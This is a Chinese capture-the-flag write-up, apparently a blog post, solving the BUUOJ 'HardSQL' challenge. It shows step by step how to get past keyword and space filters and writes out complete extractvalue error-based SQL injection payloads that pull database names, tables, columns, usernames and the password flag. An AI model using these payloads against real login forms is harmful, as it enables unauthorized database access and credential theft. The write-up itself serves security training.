第二十五题——[极客大挑战 2019]HardSQL

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,使用sql注入

在这里插入图片描述

第二步:进行简单测试

  1. 测试万能密码1'or 1=1#,发现被拦截
    在这里插入图片描述

  2. 测试and,union select发现被拦截

  3. 测试extractvalue发现没有被拦截
    在这里插入图片描述

  4. 测试extractvalue带空格发现被拦截

  5. 综上:可以使用^代替and,将关键字使用()包裹代替空格

第三步:获取数据库

  1. 在密码一栏输入1'^extractvalue(1,concat(1,(select(group_concat(schema_name))from(information_schema.schemata))))#获取所有数据库名,发现显示不完整
    在这里插入图片描述

  2. 使用right函数获取剩下的数据1'^extractvalue(1,concat(1,(select(right(group_concat(schema_name),32))from(information_schema.schemata))))#
    在这里插入图片描述

  3. 综上可知在geek数据库里查找

第四步:获取表名

  1. 使用1'^extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#获取表名:H4rDsq1
    在这里插入图片描述

获取字段名以及flag

  1. 使用1'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#获取字段名
    在这里插入图片描述

  2. 查看username内容:1'^extractvalue(1,concat(1,(select(username)from(geek.H4rDsq1))))#
    在这里插入图片描述

  3. 查看password获取flag:1'^extractvalue(1,concat(1,(select(password)from(geek.H4rDsq1))))#,发现没有显示完全
    在这里插入图片描述

  4. 使用right获取后半部分:1'^extractvalue(1,concat(1,(select(right(password,32))from(geek.H4rDsq1))))#
    在这里插入图片描述

知识点

1、基于extractvalue的报错注入

地址

2、sql中left与right函数

地址

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值